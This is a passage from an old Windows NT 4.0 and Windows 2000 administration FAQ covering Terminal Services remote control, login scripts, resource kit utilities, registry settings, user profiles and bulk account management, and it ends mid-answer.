By default Administrators have the ability to shadow other users sessions providing the user agrees to have their session controlled/viewed. By default the ability to remote control a users session is defined on the user object on the ‘Remote Control’ tab and the default is to enable remote control providing the users gives permission.

Its possible to override these user settings by editing the configuration of the RDP connection using the ‘Terminal Services Configuration’ MMC snap-in, yes, as with everything else in Windows 2000, all of the Terminal Server tools are MMC snap-ins (but more on them later).

Under the connections branch, right click on the ‘RDP-Tcp’ connection and select properties. Select the ‘Remote Control’ tab and by default it will say to use the users settings however selecting on of the other options allows you to set the remote control to whatever your wishes.

In order to remote control a session you must be logged on as a terminal server session, you can’t remote control from the console (MetaFrame allows you to do this).

Once you have logged in as an Administrator to remote control a session just:

  1. Start the Terminal Services Manager
  2. Right click on the remote users session and select ‘Remote Control’
  3. You will be asked for a key sequence which will allow you to stop controlling a session and return to their own terminal server session
  4. The user to be controlled is asked if they agree and if they click yes then you have control of their session. Their session does not display in a window, rather your session “switches” to theirs.
  5. To end remote control press the key sequence you defined


Q. What user environment extensions does the Windows 2000 terminal server component add?

A. A new built-in group has been added in 2000 called ‘Terminal Services Users’ which works in a similar way to the ‘Interactive Users Group’ and when a user logs on via Terminal Services they are part of this groups.

The Terminal Services Users group SID can then be applied to files, folders, anything with an ACL and allow only people logged on via Terminal Services access. You could also test for this group membership during login script etc to perform different actions.

On top of the ‘Remote Control’ tab for users, three extra tabs are added. As shown in figure 3, ‘Terminal Services Profile’ allows an alternative profile and local path to be specified when connecting via terminal server.

The ‘Environment’ tab allows you to specify a program to automatically run when you login via Terminal Services and options to connect to client drives and printers.

Finally the ‘Sessions’ tab allows times to be set before active and idle sessions are disconnected and how long after a session is disconnect before it is totally closed.


Q. How do I install Active Desktop on Terminal Server?

A. Active Desktop is not supported on Windows Terminal Server through SP4.


Q. How do I enable client computers to logon to a Terminal Server?

A. To log on successfully to Windows 2000 Terminal Server, follow these steps:

  1. Logon to the Terminal Server as an Administrator
  2. Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Management)
  3. To expand the branches, click the plus symbol (+) next to System Tools, click the plus symbol (+) next to Local Users and Groups, and then click the plus symbol (+) next to Users.
  4. Double-click the user that you want to be able to log on as a Windows NT Terminal Server client.
  5. On the Profile tab, click to select the Allow to log on to Terminal Server check box, and then click OK.
  6. Close Computer Management.
  7. Start the Terminal Services Configuration MMC snap-in (Start - Programs - Administrative Tools - Terminal Services Configuration)
  8. Open the Connections folder, and then click Rdp-Tcp.
  9. On the Actions menu, click Properties.
  10. On the Permissions tab, add the users or groups that you want to have permissions to this Windows NT Terminal Server


Q. Where can I go for Training in Microsoft Products?

A. To find a training center in you area goto http://www.microsoft.com/train_cert/.


Q. Where can I get more information about becoming a MCSE?

A. There is some good information at:

  • http://www.microsoft.com/train_cert
  • http://www.microsoft.com/mcp/


Q. How do I create a captive account?

A. It is not possible to create a captive account, however you can force a user to run a program, and if they close that program they can be logged out:

  1. Create a command file similar to the following
    <The program you wish to run>
    Logout
  2. Create a mandatory profile for this user.
  3. Remove all groups from this profile except the autostart group.
  4. In this group, put the file created in step one.

The file Logout.exe just logs out the user. It is also possible to restrict a Users applications using the Policy Editor. From the Policy Editor you can select which applications a User can run (make sure you give them Explorer!).

Microsoft have also created the zero administration kit which allows a user to be confined to a single application or a set of applications.

This is a short WSH script written for NT workstations to automatically log on to a terminal server using a generic Staff account. The user would then logon to WTS with their fully featured account to an environment befitting their role (most single App users)

The Staff shell was set to wscript \\SERVER\NETLOGON\<script>.vbs

===================================================

dim objShell, bLogOff
Set objShell=CreateObject("WScript.Shell")
bLogOff=FALSE
' Merge reg setting for MSTSC
objShell.Run "regedit /s \\SERVER\NETLOGON\WTSCon.reg",0,FALSE

Do
ObjShell.Run """c:\program files\terminal server client\mstsc.exe " & """" & "Server" & """",,TRUE
if Msgbox("Logoff?",vbquestion+vbyesno+vbDefaultButton2,"Logoff System")=vbYes then bLogOff=TRUE
Loop While bLogOff=FALSE
objShell.Run "\\SERVER\NETLOGON\Logoff /N",0,FALSE
' NB shutdown.exe also an alternative

===================================================


Q. Where should Login Scripts go?

A. Login scripts should be in the WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS directory


Q. What should be in the Login Script?

A. This will vary from site to site, however generally a login script will synchronize the time of the workstations with the server (providing the servers time is accurate!), and perhaps connect a home area (this is set using User Manager). Net use x: /home will ask the domain server for your home area location and connect to it. A login script may be
@echo off
net time \\johnserver /set /yes
net use p: /home


Q. Are there any utilities that help with login scripts?

A. With the NT resource kit you get KIX that enables you to write more advanced login scripts. There is also a freeware utility call KixTart.

Microsoft has released the Windows Scripting Host which is bound to be the next standard in all cases where scripting is necessary, including login scripts.WSH will be included in NT5 and can be downloaded at http://www.microsoft.com/management/wsh.htm.


Q. Is there a way of performing operations depending on a users group membership?

A. On the resource kit for NT you'll find a program called IFMEMBER, this is what you'll have to base your login script upon. Important safety tip, IFMEMBER works by checking for membership in a group and returning an ERRORLEVEL hence you'll have a bunch of IF THENS..

Ifmember sets errorlevel to the number of groups in the list that the user is actually a member of, for example:

 | groupa | groupb | groupc
savillj | Y | Y | N

If you typed command

ifmember  group1 group2

an errorlevel of 2 would be returned.

ifmember groupa
if %errorlevel%==1 <command>


Q. How do I limit the disk space for a User?

A. NT server has no way to do this, Windows 2000 has per volume quotas on NTFS 5.0 volumes.

There is 3rd party software for NT 4.0 such as

  • Quota Server from http://www.northern.se
  • Quota Manager from http://www.softshelf.com/winnt/qm/so02003.htm
  • Disk Guard from http://www.spaceguard.com
  • QuotaAdvisor from http://www.wquinn.com
  • Space Guard from http://www.tools4nt.com/Products/SpaceGuard/SpaceGuard.htm


Q. What variables are available for use with a User?

A. Below is a list of variables you can use in login scripts and other batch files. These may only be used on NT client/servers.

%COMPUTERNAME% | Name of computer
%HOMEDRIVE% | Users local drive letter
%HOMEPATH% | The full path of the users home area
%HOMESHARE% | The share that contains the users home area
%LOGONSERVER% | This is the name of the machine that validates the user logon
%OS% | The operating system the User is connected to
%PROCESSOR% | e.g. 486 (useful to put in a login script and ridicule if a 386 or below)
%USERDOMAIN% | Domain containing the Users Account
%USERNAME% | The name of the user


Q. Can I add user accounts from a database?

A. There is a utility with the resource kit, ADDUSERS.EXE, that as an input excepts a database file (e.g. and Excel spreadsheet) and will add users and groups.


Q. Is there a utility that shows who is currently logged on?

A. The resource kit has a utility called WHOAMI.EXE. It displays the domain/workgroup and username. You can also press Ctrl+Alt+Del and the current logged on user will be shown.

Alternativly you could just display the %userdomain% and %username% variables, e.g.

C:\> echo %userdomain%\%username%


Q. How can I change environment variables from the command line?

A. The resource kit has a utility called SETX.EXE. It enables the user to change environment settings, e.g.
setx johnvariable 1
setx johnvariable -k HKEY_LOCAL_MACHINE\...\DefaultDomainName


Q. How can I hide drive x from users?

A. This can be done using the TWEAKUI utility from the "My Computer" tab, and just deselect the tick next to drives you want to hide. All this does is change the registry value HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
\Explorer\NODRIVES which is a 32-bit word (DWORD). The lower 26 bits of the 32-bit word correspond to drive letters A through Z. Drives are visible when set to 0 and hidden when set to 1.

Drive A is represented by the rightmost position of the bitmask when viewed in binary mode.

e.g. A bitmask of 00000000000000000000010101(0x7h)

The bitmask above hides local drives A, C, and E

Drives hidden using the NODRIVES setting are not available through Windows Explorer, under the My Computer icon, or in the File Open\Save dialog boxes of 32bit Windows applications. File Manager and the Windows NT command prompt are not affected by this registry setting.


Q. How do I make the shell start before the logon script finishes?

A. Change the registry value HKEY_CURRENT_USER\software\microsoft\windows nt\currentversion\winlogon\RunLogonScriptSync to 0, which means the shell starts before the logon script has finished. A value of 1 means the shell will not start until the logon script finished.


Q. How can I find out which groups a user is in?

A. NT provides a means of getting information about your domain account using the
net user <username> /domain
which includes information about group membership, however there is a utility that ships with the NT resource kit called SHOWGRPS.EXE that only shows the groups and the usage is:
showgrps <domain>\<user>
e.g. showgrps savilltech\john


Q. I can no longer see items in the common groups from the Start Menu.

A. There is a registry flag that sets whether or not the common groups are displayed on the Start Menu. To disable this setting, set HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommonGroups to 0 using the registry editor (regedit.exe). By default this value will not exist.


Q. How do I configure a user so they can change the system time?

A. The ability to change the time on an NT system is a Right that has to be granted through the User Rights Policy in User Manager.

  1. Start User Manager (Start - Programs - Administrative Tools - User Manager)
  2. From the Policies menu select User Rights
  3. From the drop down menu select "Change the System Time)
  4. Click the Add button and add any users you wish to perform this
  5. Click OK to exit the dialog
  6. Close User Manager
  7. The user will need to log off and log on again

Also see Q. Can I synchronize the time of a NT Workstation with a NT Server?


Q. How do I add a user?

A. To add a new user to a domain you need to logon to the Server as an Administrator and run the User Manager for Domains Utility. Before adding a new user however, you should consider the different naming conventions that can be used, and there are really 4 main standards

  • Last name plus initial - This is probably the most popular, and for John Savill would give SavillJ
  • First name plus last name initial - e.g. JohnS, however you will quickly run out and may need to use middle initial as well etc.
  • First name initial plus last name - e.g. JSavill
  • First name plus number - e.g. John34, the problem with this is it is not easy to recognize the person.

It is important to stick to a standard, however unless this is a new installation, there will already be a standard to follow at your company. To add a user:

  1. Start User Manager for Domains (Start - Programs - Administrative Tools - User Manager for Domains)
  2. Select New User from the User Menu
  3. In the username field enter the name the user will use to logon, e.g. savillj. Case is not important however stick to a common format. The username can be up to 20 characters in length and you can use a combination of letters/numbers/punctuation's except for the following characters
    " [] ? / \ ; : | = ,
    You can use spaces in the user name, however this is not a good idea as you would need to put the name in quotes whenever you enter a command relating to the account.
  4. Although the Full Name field is not mandatory it is a good idea to fill it in with the persons real name. There are several NT utilities that dump out the user information and this name is displayed, and with this in mind you may like to put the last persons name first, e.g. Savill, John for future readability
  5. The Description field is as the name implies, just a description of the person, i.e. "Sales Manager", however you put what you like for Description :-)
  6. You need to enter a password for the new user which they will use the first time they logon, and this is entered twice, once in the "password" field, and again in the "confirm password" field. The password is case sensitive so make sure you enter the password in the correct case both times and tell the user where you use capitals/lowercase.
  7. You will see 4 check boxes
    - User Must Change Password at Next Logon - It is a good idea to select this, and the first time the user logs on they will need to change the password
    - User Cannot Change Password - Not a good idea, you would only really use this for a shared account
    - Password Never Expires - Again not a good idea, this would be a security risk as permanent passwords are frowned on
    - Account Disabled - A means for suspending an account
  8. Click on the Groups button at the bottom of the dialog box
    - Select a group on the right hand side and click Add to make the new user a member of that group
    - Click OK when finished
  9. Next click on the profile button
    - In the profiles you can enter the path for the users profile, e.g. \\savpdc\profiles.
    - In the logon script section you can enter the name of a batch file to be run when the user logs on. You only need to enter the name of the batch file, and not the full UNC location as it will assume the logon script is in the netlogon share
    - You can also setup the users home directory, which can either be a local area, or more commonly a share on a network drive.
    - Click OK when finished
  10. It is also possible to set logon hours for each user by clicking the Logon button
  11. By clicking the "Logon To" button you can restrict which workstations the user can logon to.
  12. The Account button allows you to setup an account expiry time, and the account type
  13. Finally the DialIn button allows you to give accounts the ability to dial in, and whether or not to allow callback.


Q. How do I configure roaming profiles?

A. When you sit at a computer and change its attributes, such as the wallpaper, when someone else logs on they still have the environment that they last had when they logged on, and this is achieved using a profile for the user which is stored locally in the %systemroot%/profiles/<username>, e.g. d:\winnt\profiles\savillj.

If the user then sat at a different computer they would not have their setup, to achieve a profile that follows the user to different NT machines (a roaming profile) you need to store the users profile on a network share, that can be downloaded each time the user logs on. When the user logs off the network profile is updated, and a copy of the profile is saved locally. To configure roaming profiles perform the following

  1. Start User Manager for Domains (Start - Programs - Administrative Tools - User Manager for Domains)
  2. Double click on the user
  3. Click the Profiles button
  4. In the User Profile Path enter the network share location where the profile should go, \\<servername>\<share name>\<user name> , e.g. \\bugsbunny\profiles\savillj.
  5. Click OK to finish

To make the profile mandatory, i.e. the user cannot change it, rename the file ntuser.dat to ntuser.man which is located at the base of the profile location.

As mentioned earlier, profiles are cached locally to machines, however this can be disabled by performing the following

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. Create a value called DeleteRoamingCache of type DWORD (Edit - New - Dword)
  4. Set the value to 1


Q. How can I configure each user to have a different screen resolution?

A. You cannot, the screen resolution is stored in the registry, in a non-user specific area and is therefore not configurable for individual users. The resolution would have to manually changed when the user logs on.


Q. How can I create a list of all User Accounts?

A. There a number of ways to produce a list of all user accounts in a domain (or accounts just on a machine):

  1. The best way is to use a utility shipped with the Resource Kit called ADDUSERS.EXE which is used to add users that have been detailed in a text file. This image can also be used to export the current users and groups into a comma separated file. What is a comma separated file? This is just a file that has comma's between fields and when read into a spreadsheet/database, the commas are detected, and the commas are replaced with a new field. The format is :
    addusers /d <file name>
    e.g. addusers /d johnslis.csf
    Note: Be very careful not to enter /e instead of /d, /e deletes all users and groups!
    This file can then be read into a spreadsheet/database (such as Excel) and you will need to specify that comma is the delimiter.
  2. A utility called USRSTAT.EXE is shipped with the NT Server Resource Kit, and this utility supplies information on all members of a given domain, including time/date of last login
    usrstat <domain>
    e.g. usrstat savilltech
  3. The Resource Kit utility SHOWMBRS.EXE will show all the users in a given group, so you could dump out the Domain Users group of a domain,
    showmbrs "<domain>\domain users"
    e.g. showmbrs "savilltech\domain users"
    You could add "> <file name>" to output to a file, e.g. showmbrs "savilltech\domain users" > allusers.list
  4. Finally if you don't have the resource kit (go and get it), you can use the NET command to show all users in a domain
    net user /domain
    Which will list all users in the current domain, again you can user > <file name> to output to a file. You could then get more information on each user this lists by entering
    net user <username> /domain
    e.g. net user savillj /domain
    You could easily write a perl script to automate this task.
  5. You could also use Windows Scripting Host which gives you the option of being able to be more flexible with the output. The code below just lists the full name
    set oDomain = GetObject("WinNT://SAVILLTECH")
    WScript.echo "Domain : " + oDomain.name
    for each oDomainItem in oDomain
     if oDomainItem.Class = "User" then
      WScript.echo " Full Name=" + oDomainItem.FullName
     end if
    next

It may be that none of these suit your exact needs, or you need to access the user list from within a program, you can use the NetUserEnum(), NetGroupEnum() and NetLocalGroupEnum() functions to get the required information. For each of these, the first argument is the computer name to perform the operation on, a null pointer will make it use the current system, or use NetGetDCName() to get the computer name of the Domain Controller. That's enough code for me, I'm starting to sweat :-)


Q. How can I add a user from the command line?

A. The simple answer is to use the net user <username> <password> /add (/domain) , however it is possable to automate not only the addition of the user, but also his/her addition to groups and the creation of a template user account directory structure. Many organisations have a basic structure with word, excel directories and some template files. This can be automated with a basic script. For example

addnew.bat

net user %1 password /add /homedir:\\<server>\users\%1 /scriptpath:login.bat /domain
net localgroup "<local group>" %1 /add
repeat for local groups
net group "<groups>" %1 /add /domain
repeat for global groups
xcopy \\<server>\users\template \\<server>\users\%1\ /e
cacls \\<server>\users\%1 /e /r Everyone
remove the everyone permission to the directory
cacls \\<server>\users\%1 /g %1:F /e
cacls \\<server>\users\%1 /g Administrators:F /e


Q. How can I move users from one machine to another?

A. If you just want to replace the PDC of a domain with a new machine, the easiest way is to install the new machine as a BDC and then promote to the PDC which removes the need of adding/removing users.

If you actually want to merge two domains or just move some accounts the procedure below should help. You will need the resource kit utility addusers.exe

  1. Log on as an Administrator on the machine that has the accounts you wish to move
  2. Run the command
    addusers /d <file name>
    This will create a comma separated file with details of all accounts and groups.
  3. You don't want the information about global or local groups (such as Administrators etc) so edit the file and remove the [Global] and [Local] sections and their content.
  4. Copy the file to the machine you want to create the accounts on or a network drive
  5. Log on as an Administrator on the machine that the accounts should be added, if a domain, log on to the PDC
  6. Run the command
    addusers /c <file name>
    This will read in the file and create the accounts
  7. You could then delete the accounts of off the original machine using
    addusers /e <file name>

New versions of the addusers.exe utility add support so users don't have to change their passwords, e.g.

/p: Set's account creation options, followed by an comb. of {lced}
l Users do not have to change passwords at next logon.
c Users cannot change passwords.
e Passwords never expire. (implies l option)
d Accounts disabled.

So, 'addusers /e <filename> /p:l' would mean the users don't have to change the passwords.


Q. How can I configure a user to logoff at a certain time?

A. Basic user manager functionality allows the setting of working hours for a user, and using user account policies you can force NT to logout users who are logged on past their hours.

  1. Start User Manager for domains (start - programs - administrative tools - user manager for domains)
  2. Double click on the user, e.g. savillj
  3. Click the hours button
  4. By default the user will have logon time at all hours. Each square represents one hour, click on the hour you want the user to be logged of at, e.g. 8 p.m. and then drag to when you want the user to be able to logon again. Click the disallow button. You will notice you can drag between days so you can easily disallow 6 p.m. till midnight for all days, then disallow midnight to 8 a.m. for all days if you wished
  5. Click OK when finished, then click OK again to close the user dialog
  6. Next open the accounts policy (Select Account from the Policies menu)
  7. At the bottom of the dialog is a check box "Forcibly disconnect remote users from server when logon hours expire", check this and click OK


Q. How can I grant User Rights from the command line?

A. Usually user rights, such as Logon Locally, are grant by starting User Manager and selecting User Rights from the Policies menu. If you want to grant rights from the command line, for use with account generation scripts etc., the Windows NT Resource Kit Supplement Two includes a new utility called NTRIGHTS.EXE which grants user rights from the command line.

The program uses a series of codewords for each user right:

Code Word | User Right
SeNetworkLogonRight | Access this computer from the network.
SeTcbPrivilege | Act as part of the operating system.
SeMachineAccountPrivilege | Add workstations to domain.
SeBackupPrivilege | Back up files and directories.
SeChangeNotifyPrivilege | Bypass traverse checking.
SeSystemtimePrivilege | Change the system time.
SeCreatePagefilePrivilege | Create a pagefile.
SeCreateTokenPrivilege | Create a token object.
SeCreatePermanentPrivilege | Create permanent shared objects.
SeDebugPrivilege | Debug programs.
SeRemoteShutdownPrivilege | Force shutdown from a remote system.
SeAuditPrivilege | Generate security audits.
SeIncreaseQuotaPrivilege | Increase quotas.
SeIncreaseBasePriorityPrivilege | Increase scheduling priority.
SeLoadDriverPrivilege | Load and unload device drivers.
SeLockMemoryPrivilege | Lock pages in memory.
SeBatchLogonRight | Logon as a batch job.
SeServiceLogonRight | Log on as a service.
SeInteractiveLogonRight | Log on locally.
SeSecurityPrivilege | Manage auditing and security log.
SeSystemEnvironmentPrivilege | Modify firmware environment values.
SeProfileSingleProcessPrivilege | Profile single process.
SeSystemProfilePrivilege | Profile system performance.
SeUnsolicitedInputPrivilege | Read unsolicited input from a terminal device.
SeAssignPrimaryTokenPrivilege | Replace a process level token.
SeRestorePrivilege | Restore files and directories.
SeShutdownPrivilege | Shut down the system.
SeTakeOwnershipPrivilege | Take ownership of files or other objects.

To grant a user right perform the following

ntrights +r SeInteractiveLogonRight -u SavillTech\savillj

This would grant savillj of the SavillTech domain the right to log on locally. To grant the right on a remote machine use the -m switch

ntrights +r SeInteractiveLogonRight -u SavillTech\savillj -m \\<machine name>


Q. How can I configure the system so all users share a common favourites folder?

A. It is possible to explicitly define the UNC for the favourites folder for each user by editing the registry. The steps would be as follows

  1. Choose a server that will host the favourites (favorites for all you Americans :-) ) folder, and create a favourties folder on it
  2. Set the required permissions on the folder so that the users can read it (and add to it if you want that, probably not) and make sure it is shared
  3. Fill the folder with the required links etc.
  4. On the PDC edit each user entry and using the registry editor (regedit.exe), change the Favorites value in the "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" key to the path of the common favourties folder, e.g. \\pdcmain\favourites,then click OK


Q. How can I change the local Administrator passwords on machines without going to them?

A. As you may be aware it is possible to change your password from the command line using the net user command, and if you combine this with the at command you can run the command on different machines, e.g.

at \\<machine name> <time> cmd /c net user Administrator anythingyouwant
e.g. at \\savilljohn 18:00 cmd /c net user Administrator password

The /c after cmd causes the command window to close after the command has been executed. An alternative to the at command would be the soon command

soon \\<machine name> cmd /c net user Administrator password

For this to work you will need to ensure the Scheduler (Task Scheduler) service is running on the destination machines.


Q. How do I change my password?

A. Perform the following:

  1. Press Ctrl-Alt-Delete
  2. Click the "Change Password" button
  3. Enter you old password and new password twice and click OK

To change your password from the command line use the net user command, e.g.

net user <username> <password> (/domain)

To change from a program use the NetUserChangePassword() call.


Q. How can I configure default settings for new users?

A. When a new user logs in for the first time a copy of the default user profile (ntuser.dat) is copied into the users profile. To set default settings for a user you can edit the default ntuser.dat file. Anything you define under HKEY_CURRENT_USER can be changed by editing ntuser.dat.

To change default settings for a new user on a workstation perform the following:

  1. Start the registry editor (regedt32.exe)
  2. Select the "HKEY_USERS on Local Machine" window
  3. Select "Load Hive" from the Registry menu
  4. Move to %systemroot%\Profiles\Default User (e.g. d:\winnt\Profiles\Default User)
  5. Select Ntuser.dat and click Open
  6. When it asks for a key name enter anything, e.g. defuser
  7. Now select the username (e.g. defuser) in the "HKEY_USERS on Local Machine" window and make the changes (for example you could change the wallpaper by changing defuser\Control Panel\Desktop\Wallpaper )
    Note - If you add new keys make sure everyone has at least read access otherwise it will not be copied
  8. When you have made the changes select "Unload Hive" from the Registry menu
  9. Close the registry editor

Anyone logging onto the machine will now pick up these default settings.

To configure a default NTUSER.DAT for a domain perform the above and logon as a user to take these settings. You now need to export these out to the PDC.

  1. Logon as an Administrator
  2. Start the System Control Panel Applet (Start - Settings - Control Panel - System)
  3. Click the User Profiles tab
  4. You will see a list of all the profiles stored on the machine. Select the one which has the settings you wish to use as the default for the domain
  5. Click the "Copy to" button
  6. In the "Copy profile to" enter the location of the Netlogon share of the PDC (usually %systemroot%\system32\Repl\Export\Scripts, you want the Export area not Import as anything in Export is copied to the import by the replication process), e.g. h:\winnt\system32\repl\export\scripts (if h was mapped to the c$ drive of the PDC).
    In the "Permitted to use" click Change. Select Everyone and click Add, then click OK.
  7. Click OK to start the copy.
  8. You should then check that the file ntuser.dat has been created where you selected.

If you have trouble exporting a profile see Q. I get an error when I try to export a profile other than Administrator. (I did :-) )


Q. How can I tell which User has which SID?

A. Perform the following:

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
  3. Select each SID under this in turn and look at the ProfileImagePath and at the end of this string is the name of the user
  4. Close the registry editor

If you knew the SID and just wanted to know the user name you could use the REG.EXE command (with Resource Kit Supplement 2), e.g.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\<SID>\ProfileImagePath"
e.g. reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1843332746-572796286-2118856591-1000\ProfileImagePath"

And again this will show the ProfileImagePath giving you the user.


Q. How can I configure NT Server 4.0 to not allow users to login if their mandatory is not available?

A. This was the standard behavior under NT 3.51, but for this to work under NT 4.0 as well as the user profile being ntuser.man instead of ntuser.dat the users profile folder also has to be .man so rename the users profile folder to <name>.man.

  1. Start User Manager for Domains on the PDC
  2. Select the User and click the Profile button
  3. Check the users "User Profile Path"
  4. Start Explorer and move to the users path and select his folder, press F2 (to rename) and just add .man to the end of the folder name, e.g. savillj.man and hit enter
  5. Back in User Manager add the .man to the profile path, e.g.
    \\<server>\<share>\savillj.man
  6. Close User Manager for domains


Q. How do I automatically logoff clients after n minutes of inactivity?

A. The registry entry HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters. Add a new variable (Edit - New - Dword value) and call it Disc. Set the value to the number of minutes inactivity wanted. Some network programs constantly communicate with the server (such as mail) so this will not always work. This will only terminate remote connections, to actually logoff from a session use the winexit.scr that comes with the resource kit.


Q. How can I modify the size of icons on the desktop?

A. As you may be aware you can change the size of icons in Explorer by selecting the Large icon/Small icon from the view menu. You can actually make the icons even bigger!

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
  3. Double click on "Shell Icon Size"
  4. Modify to the size you want (increase by 16), e.g. 48 or 64. Click OK
  5. Close the registry editor

If large icons are selected in Explorer you will now see the new size, you don't need to logoff, just change folders.

It's also possible to change the icons for the small icon/start menu

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
  3. From the Edit menu select New - String
  4. Edit a name of "Shell Small Icon Size"
  5. Double click the new value and set to the size you want, its 16 by default, but again could be 32,48,64 etc.

Logoff and on again for the change to take effect.

To change the number of colours the icons use perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
  3. Double click on "Shell Icon BPP"
  4. Modify to 4 for 16 colours, 8 for 256, 16 for 65536, 24 for 16 miillion and 32 for true colour
  5. Close the registry editor

Again you need to logoff for the change to take effect.


Q. How can I disable Alt-Tab?

A. This can be disabled via the registry:

  1. Start the Registry Editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Desktop
  3. Double click on Coolswitch
  4. Set to 0 and click OK
  5. Close the registry editor

You need to restart the computer for this to take effect.


Q. How can I configure the Alt-Tab display?

A. Again you can configure this through the registry:

  1. Start the Registry Editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Desktop
  3. Double click on CoolSwitchColumns to change the number of columns are displayed, double click on CoolSwitchRows to change the number of rows
  4. Close the registry editor

Restart the computer for the change to take effect


Q. How can I edit the list of connections listed in Explorer when I map a connection?

A. When you select "Map Network Drive" from Tools menu in Explorer and click the drop down box for the path, Explorer checks the HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Network\Persistent Connections area of the registry for a list of old/current drive mappings. To remove items from the list (or add) perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Network\Persistent Connections
  3. In the right hand pane you will see a list of values a-z and each value will have a value like "\\<machine name>\<share>"
  4. To remove a map, select the letter associated with it and click DEL
  5. You should now edit the Order value and remove the letter you have just deleted.
  6. If you wish to add a mapping select New - String Value and enter a name of a-z (use one that is not in use) and press enter. Double click on your new value and set to the share name, e.g. "\\johnmachine\d$"
  7. Edit the Order value and add your new letter to the end of the string.
  8. Close the registry editor
  9. Start Explorer and your new share or removed share will have taken effect.


Q. How can I exclude the Temporary Internet Files folder from the user profile?

A. By default the storage area for temporary internet files is "%systemroot%\Profiles\<user>\Temporary Internet Files", and if you implemented roaming profiles then these files would count as part of your profile taking up valuable server space. To change the location from the browser perform the following:

  1. Start Internet Explorer
  2. Select "Internet Options" from the View menu
  3. Select the General tab
  4. Click the Settings button
  5. Click the "Move Folder" button
  6. Click Yes to the confirmation dialog
  7. Select the new location and click OK

You will need to restart the machine for the new location to take effect

Alternatively you could create a reg file to manually update the following registry values and include it as part of a logon script

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1\CachePath
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2\CachePath
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3\CachePath
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4\CachePath
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Cache

An example .reg file would be

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath"="E:\\TEMP\\Cache1"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath"="E:\\TEMP\\Cache2"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath"="E:\\TEMP\\Cache3"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath"="E:\\TEMP\\Cache4"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache"="E:\\TEMP"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
"Cache"="E:\\TEMP"

Make sure you use 2 \'s. This would set the cache area to e:\temp however you could change this to anything you want. Save the above as cache.reg and run as

regedit /s cache.reg

Netscape does not store temp files under the user profile (if you are interested it is stored in the registry location HKEY_LOCAL_MACHINE\SOFTWARE\Netscape\Netscape Navigator\Users\<user>\DirRoot ;-) ).


Q. How can I stop the programs in my start-up folders running when I log on?

A. Hold down Shift during your logon and any programs in the startup folders will not run.

If Administrators wish to disable this behavior add IgnoreShiftOveride of type String to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon and set the value to 1.


Q. I can't delete user x.

A. This can be caused by a number of things. You can try deleting the user from the command line:

net user <username> /delete [/domain]

If this does not work try renaming the account and then deleting it

  1. Start User Manager (for domains)
  2. Select the user you can't delete
  3. From the User menu select Rename
  4. Enter the new name and click OK
  5. Now select the new user name and press DEL and click OK to the confirmation.

The above solution would work if you had an invalid username (like AAAAAAAAAAA)


Q. How can I stop users from being able to map/disconnect network drives?

A. This is accomplished using the Policy Editor under normal conditions however it can also be performed by directly editing the registry.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. From the Edit menu select New - DWORD value
  4. Enter a name of NoNetConnectDisconnect and press ENTER
  5. Double click the new value and set to 1
  6. The user will need to log off and on for the change to take effect


Q. How can I disable a whole group of users?

A. There is no built in mechanism to do this but can be accomplished with 2 commands:

The first command users the resource kit utility SHOWMBRS.EXE outputing to a file:

C:\>showmbrs <domain>\<group> > users.txt
e.g. C:\>showmbrs savilltech\sales > users.txt

The second command iterates through the file and performs a net user <username> /active:no /domain

C:\>for /f "skip=2" %I in (users.txt) do net user %I /active:no /domain

An example output is as follows

